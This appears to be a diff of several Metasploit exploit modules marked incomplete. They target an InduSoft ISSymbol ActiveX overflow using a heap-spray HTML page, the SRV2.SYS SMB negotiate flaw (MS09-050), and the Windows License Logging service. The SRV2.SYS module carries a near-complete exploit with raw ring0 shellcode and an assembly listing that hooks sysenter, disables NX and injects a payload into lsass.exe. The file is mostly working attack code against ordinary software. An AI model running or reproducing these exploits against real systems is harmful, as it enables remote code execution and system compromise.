shcode << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
shcode << "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
sock.put(shcode + payload.encoded + ";\n")
|
||||
res = sock.get_once(-1, 5)
|
||||
print("Command Output:"+"\n"+"#{res}")
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
pull request #169
|
||||
=end
|
||||
@@ -0,0 +1,190 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "[INCOMPLETE] InduSoft Web Studio 7 ISSymbol ActiveX OpenScreen() Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in ISSymbol.ocx, a component that is
|
||||
installed by InduSoft Web Studio and InduSoft Client. By supplying a long string of
|
||||
data to the 'OpenScreen' function, a buffer overflow occurs where no proper bounds
|
||||
checking is done before function wcscpy() is used, which leads to arbitrary code
|
||||
excution.
|
||||
|
||||
IE6 is stable, but it's not triggering on IE7/8
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => "$Revision$",
|
||||
'Author' =>
|
||||
[
|
||||
'Dmitriy Pletnev', #Initial discovery
|
||||
'sinn3r', #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-0340' ],
|
||||
[ 'BID', '47596' ],
|
||||
[ 'URL', 'http://secunia.com/advisories/43116/' ],
|
||||
[ 'URL', 'http://www.indusoft.com' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00",
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh",
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
|
||||
=begin
|
||||
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => 'wp', 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => 'java', 'Offset' => '0x5f4' } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => 'java', 'Offset' => '0x5f4' } ]
|
||||
=end
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 27 2011",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
#If the user is already specified by the user, we'll just use that
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
||||
return targets[1] #IE 6 on Windows XP SP3
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
||||
return targets[2] #IE 7 on Windows XP SP3
|
||||
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
||||
return targets[3] #IE 8 on Windows XP SP3
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
||||
return targets[4] #IE 7 on Windows Vista
|
||||
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/
|
||||
return targets[5] #IE 8 on Windows Vista
|
||||
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
||||
return targets[6] #IE 8 on Windows 7
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
my_target = get_target(agent)
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("Browser not supported, will not launch attack: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
|
||||
|
||||
js = <<-JS
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var code = unescape("#{js_code}");
|
||||
var nops = unescape("#{js_nops}");
|
||||
|
||||
while (nops.length < 0x80000) nops += nops;
|
||||
var offset = nops.substring(0, #{my_target['Offset']});
|
||||
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
|
||||
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
var block = shellcode.substring(0, (0x80000-6)/2);
|
||||
|
||||
heap_obj.gc();
|
||||
|
||||
for (var i=1; i < 0x300; i++) {
|
||||
heap_obj.alloc(block);
|
||||
}
|
||||
|
||||
var overflow = nops.substring(0, 10000);
|
||||
JS
|
||||
|
||||
js = heaplib(js, {:noobfu => true})
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid='clsid:9A6AEBF9-E182-4BA9-BA75-1EE8A7651EC0' id='obj'></object>
|
||||
<script>
|
||||
obj.OpenScreen(overflow);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
ISSymbol.ocx (build 301.1009.2904.0) C:\PROGRA~1\INDUSO~1.0\BIN\ISSymbol.OCX
|
||||
|
||||
Call stack of main thread
|
||||
Address Returns to Procedure / arguments Called from Frame Stack Dump
|
||||
0013D944 1D1E3D38 MSVCR90.wcscpy ISSymbol.1D1E3D32 0013DB8C 0013D960 2128863
|
||||
0013D948 0013D960 dest = 0013D960
|
||||
0013D94C 21288638 src = "???????????????????????????
|
||||
0013DB90 1D1E3846 ? ISSymbol.1D1E3C80 ISSymbol.1D1E3841
|
||||
0013DCA8 78A3F97C Includes ISSymbol.1D1E3846 mfc90u.78A3F97A 0013DCA4
|
||||
0013DD58 78A3F6CE Includes mfc90u.78A3F97C mfc90u.78A3F6C8 0013DD54 00000555 0000000
|
||||
0013DD78 78ACA93D mfc90u.78A3F6AA mfc90u.78ACA938 0013DD74 00000555 0000000
|
||||
0013DDA0 1D1FB1CA <JMP.&mfc90u.#6795> ISSymbol.1D1FB1C5 0013DD9C 00000555 0000000
|
||||
0013E01C 78A3E2F4 Includes ISSymbol.1D1FB1CA mfc90u.78A3E2EE 0013E018 00000555 0000000
|
||||
0013E02C 61DF6D65 *** CORRUPT ENTRY *** 0013E080
|
||||
|
||||
|
||||
Executable modules, item 102
|
||||
Base=78520000
|
||||
Size=000A3000 (667648.)
|
||||
Entry=78542D40 MSVCR90.<ModuleEntryPoint>
|
||||
Name=MSVCR90
|
||||
File version=9.00.30729.4148
|
||||
Path=C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.4148_x-ww_d495ac4e\MSVCR90.dll
|
||||
|
||||
|
||||
1D1E3D21 8D4D E8 LEA ECX,DWORD PTR SS:[EBP-18]
|
||||
1D1E3D24 FF15 FC274A1D CALL DWORD PTR DS:[<&mfc90u.#909>] ; mfc90u.78A3368C EAX=ECX
|
||||
1D1E3D2A 50 PUSH EAX
|
||||
1D1E3D2B 8D85 D4FDFFFF LEA EAX,DWORD PTR SS:[EBP-22C]
|
||||
1D1E3D31 50 PUSH EAX
|
||||
1D1E3D32 FF15 B8144A1D CALL DWORD PTR DS:[<&MSVCR90.wcscpy>] ; MSVCR90.wcscpy
|
||||
|
||||
|
||||
|
||||
|
||||
=end
|
||||
@@ -0,0 +1,356 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference',
|
||||
'Description' => %q{
|
||||
This module exploits an out of bounds function table dereference in the SMB
|
||||
request validation code of the SRV2.SYS driver included with Windows Vista, Windows 7
|
||||
release candidates (not RTM), and Windows 2008 Server prior to R2. Windows Vista
|
||||
without SP1 does not seem affected by this flaw.
|
||||
},
|
||||
|
||||
'Author' => [ 'laurent.gaffie[at]gmail.com', 'hdm', 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['MSB', 'MS09-050'],
|
||||
['CVE', '2009-3103'],
|
||||
['BID', '36299'],
|
||||
['OSVDB', '57799'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2009/Sep/0039.html'],
|
||||
['URL', 'http://www.microsoft.com/technet/security/advisory/975497.mspx']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'StackAdjustment' => -3500,
|
||||
'DisableNops' => true,
|
||||
'EncoderType' => Msf::Encoder::Type::Raw,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Vista SP1/SP2 and Server 2008 SP1/SP2 (x86)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Ret' => 0xFFDF0DBC, # "INC ESI; PUSH ESI; RET"
|
||||
'ReadAddress' => 0xFFDF0D04, # A rwx address from kernel space (no nulls in address).
|
||||
'ProcessIDHigh' => 0x0237, # srv2!SrvScavengerTimer
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options( [ Opt::RPORT(445), OptInt.new( 'WAIT', [ true, "The number of seconds to wait for the attack to complete.", 180 ] ) ], self.class )
|
||||
end
|
||||
|
||||
# The payload works as follows:
|
||||
# * Our sysenter handler and ring3 stagers are copied over to safe location.
|
||||
# * The SYSENTER_EIP_MSR is patched to point to our sysenter handler.
|
||||
# * The srv2.sys thread we are in is placed in a halted state.
|
||||
# * Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.
|
||||
# * The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.
|
||||
# * If NX is enabled we patch the respective page table entry to disable it for the ring3 code.
|
||||
# * Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.
|
||||
# * If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.
|
||||
def ring0_x86_payload( opts = {} )
|
||||
|
||||
# The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
|
||||
pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00
|
||||
|
||||
# The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
|
||||
kstager = opts['StagerAddressKernel'] || 0xFFDF0400
|
||||
|
||||
# The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
|
||||
ustager = opts['StagerAddressUser'] || 0x7FFE0400
|
||||
|
||||
# Target SYSTEM process to inject ring3 payload into.
|
||||
process = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')
|
||||
|
||||
# A simple hash of the process name based on the first 4 wide chars.
|
||||
# Assumes process is located at '*:\windows\system32\'. (From Rex::Payloads::Win32::Kernel::Stager)
|
||||
checksum = process[0] + ( process[2] << 8 ) + ( process[1] << 16 ) + ( process[3] << 24 )
|
||||
|
||||
# The ring0 -> ring3 payload blob. Full assembly listing given below.
|
||||
r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x60" +
|
||||
"\x8B\x7E\x64\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
|
||||
"\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
|
||||
"\x58\x8B\x58\x57\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
|
||||
"\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x34" +
|
||||
"\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x28\x8B\x58\x5F\x8D" +
|
||||
"\x5B\x6C\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
|
||||
"\x00\x74\x11\xBA\x45\x45\x45\x45\x81\xC2\x04\x00\x00\x00\x81\x22" +
|
||||
"\xFF\xFF\xFF\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43" +
|
||||
"\x43\x43\x43\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2E" +
|
||||
"\x8B\x43\x10\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9" +
|
||||
"\x44\x44\x44\x44\x75\x18\xE8\x0A\x00\x00\x00\xE8\x10\x00\x00\x00" +
|
||||
"\xE9\x09\x00\x00\x00\xB9\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"
|
||||
# Patch in the required values.
|
||||
r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + payload.encoded.length - 0x1C ) ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
|
||||
r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )
|
||||
# Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
|
||||
return r0 + payload.encoded
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status( "Connecting to the target (#{datastore['RHOST']}:#{datastore['RPORT']})..." )
|
||||
|
||||
# Create a SMB template
|
||||
packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
|
||||
packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
|
||||
packet['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
packet['Payload']['SMB'].v['Flags2'] = 0xC853
|
||||
packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
|
||||
packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
|
||||
packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
|
||||
packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
|
||||
|
||||
# Create the data shared by the trampoline requests
|
||||
dialects = [ [ target['ReadAddress'] ].pack("V") * 25, "SMB 2.002" ]
|
||||
data_beg = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
|
||||
data_end =
|
||||
[ 0x00000000 ].pack("V") +
|
||||
[ target['ReadAddress'] ].pack("V") * 23 +
|
||||
[ 0xFFFFFFFF ].pack("V") +
|
||||
[ 0xFFFFFFFF ].pack("V") +
|
||||
[ 0x42424242 ].pack("V") * 7 +
|
||||
[ 0x41414141 ].pack("V") * 6
|
||||
|
||||
|
||||
print_status( "Building the trampoline (0x46)...")
|
||||
1.upto(0x46) do
|
||||
connect
|
||||
packet['Payload'].v['Payload'] = data_beg + ([ target['ReadAddress'] ].pack("V") * 13 ) + data_end
|
||||
sock.put( packet.to_s )
|
||||
disconnect
|
||||
end
|
||||
print_status( "Building the trampoline (0x56)...")
|
||||
1.upto(0x56) do
|
||||
connect
|
||||
packet['Payload'].v['Payload'] = data_beg + ([ target['ReadAddress'] + 1 ].pack("V") * 13 ) + data_end
|
||||
sock.put( packet.to_s )
|
||||
disconnect
|
||||
end
|
||||
print_status( "Building the trampoline (0xc3)...")
|
||||
1.upto(0xc3) do
|
||||
connect
|
||||
packet['Payload'].v['Payload'] = data_beg + ([ target['ReadAddress'] + 2 ].pack("V") * 13 ) + data_end
|
||||
sock.put( packet.to_s )
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# Trigger the code that jumps to the trampoline
|
||||
#
|
||||
|
||||
# We use ReadAddress to avoid problems in srv2!SrvProcCompleteRequest
|
||||
# and srv2!SrvProcPartialCompleteCompoundedRequest
|
||||
dialects = [ [ target['ReadAddress'] + 4].pack("V") * 25, "SMB 2.002" ]
|
||||
|
||||
data = dialects.collect { |dialect| "\x02" + dialect + "\x00" }.join('')
|
||||
data += [ 0x00000000 ].pack("V") * 37 # Must be NULL's
|
||||
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34 (known stability issue with srv2!SrvConsumeDataAndComplete2+6b)
|
||||
data += [ 0xFFFFFFFF ].pack("V") # Used in srv2!SrvConsumeDataAndComplete2+0x34
|
||||
data += [ 0x42424242 ].pack("V") * 7 # Unused
|
||||
data += [ 0x41414141 ].pack("V") # elite
|
||||
data += [ 0x41414141 ].pack("V") * 6 # Unused
|
||||
data += [ target.ret ].pack("V") # EIP Control thanks to srv2!SrvProcCompleteRequest+0xD2
|
||||
data += ring0_x86_payload( target['PayloadOptions'] || {} ) # Our ring0 -> ring3 shellcode
|
||||
|
||||
# We gain code execution by returning into the SMB packet, begining with its header.
|
||||
# The SMB packets Magic Header value is 0xFF534D42 which assembles to "CALL DWORD PTR [EBX+0x4D]; INC EDX"
|
||||
# This will cause an access violation if executed as we can never set EBX to a valid pointer.
|
||||
# To overcome this we force an increment of the header value (via MagicIndex), transforming it to 0x00544D42.
|
||||
# This assembles to "ADD BYTE PTR [EBP+ECX*2+0x42], DL" which is fine as ECX will be zero and EBP is a vaild pointer.
|
||||
# We patch the Signature1 value to be a jump forward into our shellcode.
|
||||
packet = Rex::Proto::SMB::Constants::SMB_NEG_PKT.make_struct
|
||||
packet['Payload']['SMB'].v['Command'] = Rex::Proto::SMB::Constants::SMB_COM_NEGOTIATE
|
||||
packet['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
packet['Payload']['SMB'].v['Flags2'] = 0xC853
|
||||
packet['Payload']['SMB'].v['ProcessIDHigh'] = target['ProcessIDHigh']
|
||||
packet['Payload']['SMB'].v['Signature1'] = 0x0158E900 # "JMP DWORD 0x15D" ; jump into our ring0 payload.
|
||||
packet['Payload']['SMB'].v['Signature2'] = 0x00000000 # ...
|
||||
packet['Payload']['SMB'].v['MultiplexID'] = rand( 0x10000 )
|
||||
packet['Payload'].v['Payload'] = data
|
||||
|
||||
packet = packet.to_s
|
||||
|
||||
print_status( "Sending the exploit packet (#{packet.length} bytes)..." )
|
||||
sock.put( packet )
|
||||
|
||||
wtime = datastore['WAIT'].to_i
|
||||
print_status( "Waiting up to #{wtime} second#{wtime == 1 ? '' : 's'} for exploit to trigger..." )
|
||||
stime = Time.now.to_i
|
||||
|
||||
|
||||
print_status("Giving the target a little poke to wake up LSASS...")
|
||||
poke_logins = %W{Guest Administrator}
|
||||
poke_logins.each do |login|
|
||||
begin
|
||||
sec = connect(false)
|
||||
sec.login(datastore['SMBName'], login, rand_text_alpha(rand(8)+1), rand_text_alpha(rand(8)+1))
|
||||
rescue ::Exception => e
|
||||
sec.socket.close
|
||||
end
|
||||
end
|
||||
|
||||
while( stime + wtime > Time.now.to_i )
|
||||
select(nil, nil, nil, 0.25)
|
||||
break if session_created?
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
;===================================================================================
|
||||
; sf
|
||||
; Recommended Reading: Kernel-mode Payloads on Windows, 2005, bugcheck & skape.
|
||||
; http://www.uninformed.org/?v=3&a=4&t=sumry
|
||||
;===================================================================================
|
||||
[bits 32]
|
||||
[org 0]
|
||||
;===================================================================================
|
||||
ring0_migrate_start:
|
||||
cld
|
||||
cli
|
||||
jmp short ring0_migrate_bounce ; jump to bounce to get ring0_stager_start address
|
||||
ring0_migrate_patch:
|
||||
pop esi ; pop off ring0_stager_start address
|
||||
; get current sysenter msr (nt!KiFastCallEntry)
|
||||
push 0x176 ; SYSENTER_EIP_MSR
|
||||
pop ecx
|
||||
rdmsr
|
||||
; save origional sysenter msr (nt!KiFastCallEntry)
|
||||
mov dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 0 ], eax
|
||||
; retrieve the address in kernel memory where we will write the ring0 stager + ring3 code
|
||||
mov edi, dword [ esi + ( ring0_stager_data - ring0_stager_start ) + 4 ]
|
||||
; patch sysenter msr to be our stager
|
||||
mov eax, edi
|
||||
wrmsr
|
||||
; copy over stager to shared memory
|
||||
mov ecx, 0x41414141 ; ( ring3_stager - ring0_stager_start + length(ring3_stager) )
|
||||
rep movsb
|
||||
sti ; set interrupt flag
|
||||
; Halt this thread to avoid problems.
|
||||
ring0_migrate_idle:
|
||||
hlt
|
||||
jmp short ring0_migrate_idle
|
||||
ring0_migrate_bounce:
|
||||
call ring0_migrate_patch ; call the patch code, pushing the ring0_stager_start address to stack
|
||||
;===================================================================================
|
||||
; This stager will now get called every time a ring3 process issues a sysenter
|
||||
ring0_stager_start:
|
||||
push byte 0 ; alloc a dword for the patched return address
|
||||
pushfd ; save flags and registers
|
||||
pushad
|
||||
call ring0_stager_eip
|
||||
ring0_stager_eip:
|
||||
pop eax
|
||||
; patch in the real nt!KiFastCallEntry address as our return address
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 0 ]
|
||||
mov [ esp + 36 ], ebx
|
||||
; see if we are being told to remove our sysenter hook...
|
||||
cmp ecx, 0xDEADC0DE
|
||||
jne ring0_stager_hook
|
||||
push 0x176 ; SYSENTER_EIP_MSR
|
||||
pop ecx
|
||||
mov eax, ebx ; set the sysenter msr to be the real nt!KiFastCallEntry address
|
||||
xor edx, edx
|
||||
wrmsr
|
||||
xor eax, eax ; clear eax (the syscall number) so we can continue
|
||||
jmp short ring0_stager_finish
|
||||
ring0_stager_hook:
|
||||
; get the origional r3 return address (edx is the ring3 stack pointer)
|
||||
mov esi, [ edx ]
|
||||
; determine if the return is to a "ret" instruction
|
||||
movzx ebx, byte [ esi ]
|
||||
cmp bx, 0xC3
|
||||
; only insert our ring3 stager hook if we are to return to a single ret (for stability).
|
||||
jne short ring0_stager_finish
|
||||
; calculate our r3 address in shared memory
|
||||
mov ebx, dword [ eax + ( ring0_stager_data - ring0_stager_eip ) + 8 ]
|
||||
lea ebx, [ ebx + ring3_start - ring0_stager_start ]
|
||||
; patch in our r3 stage as the r3 return address
|
||||
mov [ edx ], ebx
|
||||
; detect if NX is present (clobbers eax,ebx,ecx,edx)...
|
||||
mov eax, 0x80000001
|
||||
cpuid
|
||||
and edx, 0x00100000 ; bit 20 is the NX bit
|
||||
jz short ring0_stager_finish
|
||||
; modify the correct page table entry to make our ring3 stager executable
|
||||
mov edx, 0x45454545 ; we default to 0xC03FFF00 this for now (should calculate dynamically).
|
||||
add edx, 4
|
||||
and dword [ edx ], 0x7FFFFFFF ; clear the NX bit
|
||||
; finish up by returning into the real KiFastCallEntry and then returning into our ring3 code (if hook was set).
|
||||
ring0_stager_finish:
|
||||
popad ; restore registers
|
||||
popfd ; restore flags
|
||||
ret ; return to real nt!KiFastCallEntry
|
||||
ring0_stager_data:
|
||||
dd 0xFFFFFFFF ; saved nt!KiFastCallEntry
|
||||
dd 0x42424242 ; kernel memory address of stager (default to 0xFFDF0400)
|
||||
dd 0x43434343 ; shared user memory address of stager (default to 0x7FFE0400)
|
||||
;===================================================================================
|
||||
ring3_start:
|
||||
pushad
|
||||
push byte 0x30
|
||||
pop eax
|
||||
cdq ; zero edx
|
||||
mov ebx, [ fs : eax ] ; get the PEB
|
||||
cmp [ ebx + 0xC ], edx
|
||||
jz ring3_finish
|
||||
mov eax, [ ebx + 0x10 ] ; get pointer to the ProcessParameters (_RTL_USER_PROCESS_PARAMETERS)
|
||||
mov eax, [ eax + 0x3C ] ; get the current processes ImagePathName (unicode string)
|
||||
add eax, byte 0x28 ; advance past '*:\windows\system32\' (we assume this as we want a system process).
|
||||
mov ecx, [ eax ] ; compute a simple hash of the name. get first 2 wide chars of name 'l\x00s\x00'
|
||||
add ecx, [ eax + 0x3 ] ; and add '\x00a\x00s'
|
||||
cmp ecx, 0x44444444 ; check the hash (default to hash('lsass.exe') == 0x7373616C)
|
||||
jne ring3_finish ; if we are not currently in the correct process, return to real caller
|
||||
call ring3_cleanup ; otherwise we first remove our ring0 sysenter hook
|
||||
call ring3_stager ; and then call the real ring3 payload
|
||||
jmp ring3_finish ; should the payload return we can resume this thread correclty.
|
||||
ring3_cleanup:
|
||||
mov ecx, 0xDEADC0DE ; set the magic value for ecx
|
||||
mov edx, esp ; save our esp in edx for sysenter
|
||||
sysenter ; now sysenter into ring0 to remove the sysenter hook (return to ring3_cleanup's caller).
|
||||
ring3_finish:
|
||||
popad
|
||||
ret ; return to the origional system calls caller
|
||||
;===================================================================================
|
||||
ring3_stager:
|
||||
; ...ring3 stager here...
|
||||
;===================================================================================
|
||||
=end
|
||||
@@ -0,0 +1,215 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Microsoft Windows License Logging Service Heap Corruption',
|
||||
'Description' => %q{
|
||||
This module exploits a heap corruption vulnerability in the
|
||||
RPC interface to the Microsoft Windows License Logging service.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-2523'],
|
||||
#[ 'OSVDB', '?'],
|
||||
[ 'MSB', 'MS09-064'],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00", #\x0a\x0d\x5c\x5f\x2f\x2e\xff",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows 2000 Server English',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x75022ac4 # ws2help - pop/pop/ret
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Dec 11 2007',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_ip_udp')
|
||||
#print_status("dport: #{dport}")
|
||||
#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np')
|
||||
#dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '342cfd40-3c6c-11ce-a893-08002b2e9c6d', '0.0', 'ncacn_ip_udp')
|
||||
#print_status("dport: #{dport}")
|
||||
|
||||
connect
|
||||
smb_login
|
||||
|
||||
#handle = dcerpc_handle('57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np', ['\LLSSRV'])
|
||||
handle = dcerpc_handle('57674cd0-5200-11ce-a897-08002b2e9c6d', '1.0', 'ncacn_np', ['\LLSRPC'])
|
||||
#handle = dcerpc_handle('342cfd40-3c6c-11ce-a893-08002b2e9c6d', '0.0', 'ncacn_np', ['\LLSRPC'])
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
dcerpc_bind(handle)
|
||||
print_status("Bound to #{handle} ...")
|
||||
|
||||
print_status('Sending exploit...')
|
||||
|
||||
req = 0
|
||||
loop {
|
||||
|
||||
#service_list = rand_text_alphanumeric(64) + "\x00\x00"
|
||||
service_list = "A" * 64
|
||||
|
||||
buff = nil
|
||||
case req
|
||||
when 0
|
||||
#len = 4096
|
||||
buff = "D" * 1024
|
||||
buff << "\\"
|
||||
buff << "C" * 1023
|
||||
req = 0
|
||||
when 1
|
||||
len = 2048
|
||||
req += 1
|
